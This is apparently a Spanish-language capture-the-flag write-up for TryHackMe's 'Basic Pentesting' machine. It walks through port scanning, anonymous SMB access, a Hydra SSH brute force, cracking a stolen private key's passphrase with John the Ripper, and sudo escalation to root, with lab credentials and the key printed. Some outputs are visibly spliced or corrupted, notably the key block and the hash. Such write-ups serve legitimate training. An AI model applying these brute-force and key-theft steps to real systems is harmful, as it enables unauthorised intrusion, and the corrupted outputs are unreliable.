

Basic Pentesting

- Enumeración
 - Ping
 - Nmap
 - Fuzzing Web
- Explotación
 - Smbclient
 - Hydra
 - SSH
 - John The Ripper
 - Sudo

Resolviendo la máquina "Basic Pentesting" de TryHackMe

En esta publicación, comparto cómo resolví la máquina **Basic Pentesting** de TryHackMe. Es una excelente práctica para quienes están empezando en el mundo del *pentesting*, cubriendo etapas como enumeración, explotación y escalada de privilegios.

Enumeración

Ping

Se realiza un *ping* para ver si tenemos conexión con la máquina, además de comprobar el sistema operativo con el que nos encontramos.

```
ping -c 1 10.10.169.124
```

```
PING 10.10.169.124 (10.10.169.124) 56(84) bytes of data.  
64 bytes from 10.10.169.124: icmp_seq=1 ttl=63 time=197 ms  
  
— 10.10.169.124 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 196.543/196.543/196.543/0.000 ms
```

TTL=63 -> Linux

Nmap

Se realiza un escaneo de puertos.

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.169.124 -oG allPorts
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 19:24 CEST
Initiating SYN Stealth Scan at 19:24
Scanning 10.10.169.124 [65535 ports]
Discovered open port 80/tcp on 10.10.169.124
Discovered open port 445/tcp on 10.10.169.124
Discovered open port 8080/tcp on 10.10.169.124
Discovered open port 22/tcp on 10.10.169.124
Discovered open port 139/tcp on 10.10.169.124
Discovered open port 8009/tcp on 10.10.169.124
Completed SYN Stealth Scan at 19:25, 12.79s elapsed (65535 total ports)
Nmap scan report for 10.10.169.124
Host is up, received user-set (0.052s latency).
Scanned at 2025-07-08 19:24:48 CEST for 12s
Not shown: 65432 closed tcp ports (reset), 97 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack ttl 63
80/tcp    open  http         syn-ack ttl 63
139/tcp   open  netbios-ssn  syn-ack ttl 63
445/tcp   open  microsoft-ds syn-ack ttl 63
8009/tcp  open  ajp13        syn-ack ttl 63
8080/tcp  open  http-proxy   syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.87 seconds
Raw packets sent: 66703 (2.935MB) | Rcvd: 65722 (2.629MB)
```

```
nmap -p22,80,139,445,8009,8080 -sCV 10.10.169.124 -oN targeted
```

```

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 19:25 CEST
Nmap scan report for 10.10.169.124
Host is up (0.049s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 90:7f:cc:2e:57:5d:d3:fd:04:27:d8:67:2e:15:d0:01 (RSA)
|   256 ce:05:61:5a:64:a4:e0:d5:12:89:09:93:58:70:b1:ec (ECDSA)
|_  256 01:49:09:0c:1f:5f:11:16:17:70:cc:0f:ae:e3:57:49 (ED25519)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http         Apache Tomcat 9.0.7
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/9.0.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ clock-skew: -2s
|_ smb2-time:
|   date: 2025-07-08T17:26:02
|_  start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-security-mode:
|   3:1:1:
|_  Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.46 seconds

```

Fuzzing Web

Se realiza **Fuzzing Web** para buscar directorios.

```

gobuster dir -u http://10.10.169.124/ -w /usr/share/wordlists/dirbuster/directory-
list-lowercase-2.3-medium.txt

```

```

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.169.124/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s




Starting gobuster in directory enumeration mode

/development (Status: 301) [Size: 320] [→ http://10.10.169.124/development/]
Progress: 28455 / 207644 (13.70%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 28527 / 207644 (13.74%)

Finished

```

Se encuentra el directorio: <http://10.10.169.124/development>.

Index of /development				
	<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
<hr/>				
	Parent Directory		-	
	dev.txt	2018-04-23 14:52	483	
	j.txt	2018-04-23 13:10	235	
<hr/>				
Apache/2.4.41 (Ubuntu) Server at 10.10.169.124 Port 80				

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

Explotación

Smbclient

Se comprueba si el protocolo **SAMBA** tiene el acceso con usuario anónimo.

```
smbclient -L 10.10.169.124 -N
```

```
ntlm - Sharename      Type      Comment
-----
10.10.169.124: Anonymous Disk       IPC$
IPC$      IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.10.169.124 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

Se accede al protocolo **SAMBA** con el usuario anónimo y se descarga el archivo [staff.txt](#).

```
smbclient -N \\\10.10.169.124\Anonymous
```

```
dir
get staff.txt
```

```
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Thu Apr 19 19:31:20 2018
..               D           0   Thu Apr 19 19:13:06 2018
staff.txt        N        173   Thu Apr 19 19:29:55 2018

          14282840 blocks of size 1024. 6257996 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0,8 KiloBytes/sec) (average 0,8 KiloBytes/sec)
smb: \> █
```

Se visualiza el contenido del archivo.

```
cat staff.txt
```

```
Announcement to staff:
[...]
```

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!) don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow **-Kay** change that password ASAP.

Hydra

Se procede a realizar fuerza bruta mediante *Hydra*.

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.169.124
```

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-08 19:43:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.169.124:22/
[STATUS] 254.00 tries/min, 254 tries in 00:01h, 14344147 to do in 941:14h, 14 active
[STATUS] 246.00 tries/min, 738 tries in 00:03h, 14343663 to do in 971:48h, 14 active
[22][ssh] host: 10.10.169.124  login: jan  password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-08 19:46:59
```

SSH

```
ssh jan@10.10.169.124
```

```

The authenticity of host '10.10.169.124 (10.10.169.124)' can't be established.
ED25519 key fingerprint is SHA256:4D4vW+Yr8ck4ERu0cv/jMZhiRLvLnC8M9/srfUptPM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.169.124' (ED25519) to the list of known hosts.
jan@10.10.169.124's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Tue 08 Jul 2025 01:49:35 PM EDT

System load:  0.01               Processes:            106
Usage of /:   50.5% of 13.62GB   Users logged in:     0
Memory usage: 48%               IPv4 address for eth0: 10.10.169.124
Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@ip-10-10-169-124:~$

```

Se accede a la siguiente ruta: `/home/kay`

```
ls -la
```

```

total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 root root 4096 Jul 8 13:21 ..
-rw-r--r-- 1 kay kay 789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo

```

Se observa que tenemos acceso a la carpeta `.ssh`. Además de poder visualizar la `id_rsa`.

```
cd .ssh
```

```
ls -la
```

```
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub
```

```
cat id_rsa
```



```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, 6ABA7DE35CDB65070B92C1F760E2FE75

I've been auditing the contents of /etc/shadow to make sure we don't hav
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
-----END RSA PRIVATE KEY-----
```

Se copia la *id_rsa*.

```
nano id_rsa
```


Se dan los permisos necesarios.

```
chmod 600 id_rsa
```

Se vuelve a conectar mediante **ssh** y nos pide una frase.

```
ssh kay@10.10.169.124 -i id_rsa
```

```
Enter passphrase for key 'id_rsa':
```

John The Ripper

Se procede a **crackear** la **id_rsa**.

```
ssh2john id_rsa > id_john.txt
```

```
cat id_john.txt
```

```
id_rsa:$hhngj$1656ABA70E350865870892C1F760E2FE7553253228350f9d2a0f77904670de0812127ef86e49905ca81a838d194b2729c471037fbbbe7eb172e69cd040e52d959d3d77220a24e385194ee7813ec99be1cd1745564acc558ad51edcb5206680cb62e46b60a774cfc1  
bfef14e69db0d51b3c3f1d1886717d8f0ee700d5e88f62b1d91c81774be14862548f310bf0f510bae02e9fae40d2bf15f36dd7d702400dfb74f9154e3d08454a849599c84c407df59b18efd32d702a21a5f941f79731a70840e5160870139695579809460186edc557b350263e279f971  
e3784e0f43591086692254e326f854b0e5144edf952d4e4e1c16133404855409090bdf4f0da2e0866e2a4945307410153bee50c1026db0e202bf22ad0d9d3eae46788eeb013135945599e9e22ac11376cd0b61cd555887a1642ee04e74e0721b32a108accf9e598173a  
bf0f05bf0b2350d00c40d34e39b18694fb34d610162884150f68a4f52519f8e958d34570da814dbb129482d4295768f01f4c1219d5db7c92085a55f19c926954e4a0ba0b0b6e97b855c5f98b7441c2b0a8a3b569118cab14dc1a3f125871ad0b94a151137b0d4a68f9d5856e66a39b  
ba50e18b435176718fd6de9b9fbefb0ec09ac8cc774ba802a66b0ff021c11e7adb455858d4251fer118d99b9b3607cc1d13029a4da27261526951422440b773827e53b0d5177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c  
ba6d7ecf907797859c79b32e55a0745aa7a3e00d5d68b7b05763c692180e5e2086c03b19cc1c84570aed1a6f918ec2025985440c93180dcf30674cacba559f05a714e51d38df94e2960f8f98d538650d9074a3459811764864cb2a6e1021508140845f0bf90ac0ba073800822b788a  
101818accf92e581705a1c31001510e3586e0c728d31fc7f99d2c9b32b6a57f0b0d535ade575f0ee4094ccae0e1b01c161fffc012073a21195a7ee07c3b2da40c7a0507210f67f91388a674b519c074016897f0ba40e2138f91c1ba009f21e54ba077bcb9588a  
36bf760223a7884c48494cf3b946971210a40a220eb080809ba5c5a3d54e0f6610765f1dcd2bda5cae7d96e7f0857bd2a895a3cfa64b0c5fbec79ea0dcfc6ae40be032382172113a09b1a0873f8cf9ed9b3d4d0d0053635702a7452b785301084c4397621979cdc37b50983f301af78655f352  
8ac57799037f633a09b755ba0de9ec817a7d76eb8f46c4c33c4207358ab08f1c52d8b8ca837bba8ffcd22a4125e5a0973c6997a6225e51007e000c22d3e24ebbc1e8db8ff259eb32da4f4bd298ba27a3522215db0c3b89d409f2277cfedd7fc3b59a149736263826308f2e14cd363025aa7a5c39  
0a77b1510d1f0e9945d0da4f13f1f6cd06f92d6dc3c351f4779ac271a60dbaa92f0c0ad0927360e1c45e4727f19aa36d220f3a00a4f08f04236a483e0d0707f01c5de796136085f113300da72c7087ca1107053e63d37f0550b765759992e770bed2a2aa16aa3b709cd  
f9d9d53697a1fb0cc1a2e701c5b1d702244371358002101e25b29c4a1380c467c9780967fe380b361c284ce0b136807fda79b4c18d54d81689c0db4c379380b211380c4001f7d2556ae3a2d21a9116a134d5f0c80ce1fb7c2c15898086021fccff62aca3a796ff99a5ab0bc588af10537f2b  
cfcfa6962e595fbac9df244fc6baf6b77a11cfd8078d661583305fe0ae0d22173e8d744435fe3a69a81313109f9c5cd0c56d67544a36aa27a3b7c0db50b30829972368ff2ed998c1910b392720c0d4c0ba987a9f2c38f970583971d6ab6972f5b705c34735a08129c2b7ee82c6cc49ddc943a5a8  
f44d7c3d7a07850e10a0002c3771d59fca0817c6412d35849ab09d225e09634de5260b31fd4d082da09a09502b1e41607a19f108da54b0e0771542cb11f5c5224e279960870ba20df2e8c9b0f9f736b14c0de536fa3d377fa27543b6c90805f13bdf50f03b2d097e5d25d521aa0e0225704e03  
197210a24b0ef081b2c1ff0b0c5e19a7f0a6ed6525737477a3c3f0eb0e371f1f1500037ba70423dbda25121e210ef0b758230939360d1240032a974092cf3f9980c28521f0e5541f2100b0b0c50eacaf79ab759ff3a3a7055d08709f69bdf464d13a70ed5eaccc99af74e3c15a  
b06a3a7180eb501ee12e3f5f3cc089719a0a8f30c000cb0a83529a157d99e0eb1344d80c93f216484ac8ae09a1346578087b09e90dd03f9da4709cc30d6dc86dd8a90b0f6d3910d209eb0b1a70fb7310944d949b1b10b13a655776f3c2e66a7fae7272fc2ba5b2025020684e91514a11e  
a37a92a09f0bfefcc3d550953e1e140b5678f5cb0d91728063f8e2b8f75cca27c0651152faa0610d2dcab0b9ac31895180fb60b0868771dee58dbd97e9905ca3592cc9733a76ae0b96ca5788be62e8f006204c574482579701781b46ec979b0db9d39c57967051ca87adae718abd79cac08  
834632001c50f6190cccccacaa176c4e123c1ff21ca4c1f2001312b7f0f4f0c15078ca22024f1cd08c0301c080e629c4e02107099041e00ff0a01400d1f0ea0113635f17c34aac779a38a18040f0a4599a1752507f103a2d0d900701aa6e9e6102400ef351a20e6f93505559201  
1ec30690810b022743b0ccaa0e97c05007fa600e09a001770b31f60b00e0a14ee45f0597157af0e40f7f30a1b12726aa556ab04a6644470745134e08f10b53ab01c5d100c207f3a3017440ab0ab067c7a3f5028f9aa00700a0790e78174053e02343e583b770097ae15a30e137020e3511  
bb080123c0a87a43f62380fb008f2c63ac08ff2e2ba0cddeef0bd49eeaa2fdd1033aceec67b25f92cd2d25b58fa4fab2328481af26f54b5d2101312b7f913b7f08254b064316d041a3c82502e1cde55b5a347d264cb998df34b5490831e5d212b38b7cd9996df186a97ef6d250e1e0820078  
985a277ac78dd09a505919c318000fc4778b08fc84f12cf58df1a3ee3fc8190015058c16c41cc0d6017b9a1fb032ee20e842573b30fc3214ac5fb0962a37477e810b6479fa98f148924790dd0616218ec2a5f0949def8542dc9b75fd95b75c26fb9e1f9b086e1e90e0df20db973f33471da0b  
07f6c1f0a5d07f4e053a0eb337171f0e50808
```

```
john id_john.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, otherwise any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2025-05-25 12:20) 50.00g/s 4137Kp/s 4137Kc/s 4137KC/s bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Se vuelve a conectar mediante **ssh** y se introduce la frase.

```
ssh kay@10.10.169.124 -i id_rsa
```

```
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Tue 08 Jul 2025 02:06:23 PM EDT

System load:  0.02                Processes:    111
Usage of /:   50.5% of 13.62GB    Users logged in: 1
Memory usage: 47%                IPv4 address for eth0: 10.10.169.124
Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Tue Jul  8 14:04:25 2025 from 10.9.1.238
kay@ip-10-10-169-124:~$
```

Se observa el archivo *pass.bak*.

```
cat pass.bak
```

```
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Sudo

Se introduce la contraseña del archivo *pass.bak*.

```
sudo -l
```

```
[sudo] password for kay:
Matching Defaults entries for kay on ip-10-10-169-124:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on ip-10-10-169-124:
    (ALL : ALL) ALL
```

```
sudo su
```

```
kay@ip-10-10-169-124:~$ sudo su
root@ip-10-10-169-124:/home/kay# whoami
root
```